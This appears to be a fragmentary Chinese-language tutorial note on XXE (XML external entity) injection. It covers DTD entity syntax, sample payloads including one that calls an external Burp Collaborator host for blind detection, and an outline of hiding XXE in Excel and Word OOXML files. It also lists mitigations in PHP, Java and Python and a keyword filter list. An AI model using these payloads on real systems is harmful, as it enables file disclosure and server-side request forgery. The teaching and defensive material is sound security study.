XML基础
xml作用:用于标记用户的数据与标记数据类型
定义以及基本结构
两种声明方法
**内部声明DTD**
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">
#实例
#内部实体
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
#内部实调用方法
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
#外部实体1-->即利用dtd进行引用的即是外部实体
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>#即利用该dtd属性进行引用
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
#外部实体2-->即进行外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
利用命令
文件读取
其他利用姿势–>协议攻击,ssrf攻击,执行系统命令
典型利用方式与总结
深入了解xxe
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>#内容更改为自己的burp collaborator地址
<x>&xxe;</x>
修复方法
1.)使用开发语言提供的禁用外部实体的方法
//php:
libxml_disable_entity_loader(true);
//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.)过滤用户提交的xml数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
3.)不允许xml中具有自己定义的DTD(即文档类型定义)
实战利用
1.)利用excel进行xee攻击
原理:excel与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
excle构成
_rels:包关系,包含workbook.xml.rels,部分关系项
SharedStrings.xml:共享字符串表部分,用户输入内容
styles.xml:关于font、fill、border等相关样式定义
theme;主题,包含theme1.xml,表示工作表1的主题
workbook.xml:工作薄内容该书
worksheets:sheet相关样式,含有sheet1.xml,表明单元格与样式间的关系、内容等。
利用方法–>即给excel的文件添加xml属性内容,上传excel后进行监听即可
利用代码
典型利用burp中的burp collaborator进行盲测攻击
结合burp联合证明方法–>即直接在xml中添加的链接是burp的
直接进行监听的方法
burp collaborator的使用技巧–>典型盲测必备
确认漏洞代码
更改内容即可
利用docs进行攻击
利用方法与excel的同
工具XXExploiter进行探测攻击
xxexploiter安装与攻击